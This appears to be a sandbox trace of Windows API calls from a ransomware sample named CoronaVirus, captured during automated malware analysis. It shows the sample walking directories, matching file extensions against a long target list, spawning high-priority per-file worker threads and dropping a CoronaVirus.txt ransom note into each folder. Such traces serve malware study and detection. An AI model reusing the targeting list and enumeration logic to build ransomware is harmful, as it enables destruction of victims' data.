	[0079.718] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.718] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.718] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.719] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.719] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.719] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.719] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.719] malloc (_Size=0x1000) returned 0x45db40
	[0079.719] _swprintf (in: param_1=0x45db40, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\CoronaVirus.txt") returned 42
	[0079.719] wcsstr (_Str="C:\\588bce7c90097ed212\\1028\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.719] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0079.719] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0079.719] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0079.719] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.719] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0079.720] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.720] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0079.721] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0079.721] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0079.721] malloc (_Size=0x1000) returned 0x2f11050
	[0079.721] _swprintf (in: param_1=0x2f11050, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0079.721] wcsstr (_Str="C:\\588bce7c90097ed212\\1028\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0079.721] wcsstr (_Str="C:\\588bce7c90097ed212\\1028\\eula.rtf", _SubStr="wasse") returned 0x0
	[0079.721] wcsstr (_Str="C:\\588bce7c90097ed212\\1028\\eula.rtf", _SubStr="passw") returned 0x0
	[0079.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f11050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0079.722] SetThreadPriority (hThread=0x410, nPriority=15) returned 1
	[0079.818] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0079.818] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0079.818] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0079.818] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0079.818] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0079.818] malloc (_Size=0x1000) returned 0x2f11050
	[0079.818] _swprintf (in: param_1=0x2f11050, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0079.818] wcsstr (_Str="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0079.818] wcsstr (_Str="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0079.818] wcsstr (_Str="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0079.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f11050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0079.819] SetThreadPriority (hThread=0x414, nPriority=15) returned 1
	[0079.822] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0079.822] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0079.822] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0079.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.822] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.822] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0079.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.822] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0079.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.822] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0079.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.822] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0079.822] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.822] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0079.828] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.828] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0079.828] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.828] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0079.828] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.828] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0079.828] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.829] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0079.829] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.829] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0079.837] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.837] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.838] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0079.838] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.839] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.839] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0079.839] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0079.839] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0079.840] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1
	[0079.840] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0079.840] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0079.840] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1029") returned 26
	[0079.840] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0079.840] wcsstr (_Str="C:\\588bce7c90097ed212\\1029", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.840] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.844] _alloca_probe () returned 0x4036d0
	[0079.844] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1029", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1029", lpFilePart=0x316583c*="1029") returned 0x1a
	[0079.844] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8f30746, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0079.844] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.844] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe8f30746, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.845] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.845] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f30746, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8f30746, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.845] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.845] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.845] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.845] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.845] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.845] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.845] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.845] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.845] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.845] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.845] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.845] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.845] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.845] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.845] malloc (_Size=0x1000) returned 0x2f12058
	[0079.845] _swprintf (in: param_1=0x2f12058, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1029\\CoronaVirus.txt") returned 42
	[0079.845] wcsstr (_Str="C:\\588bce7c90097ed212\\1029\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
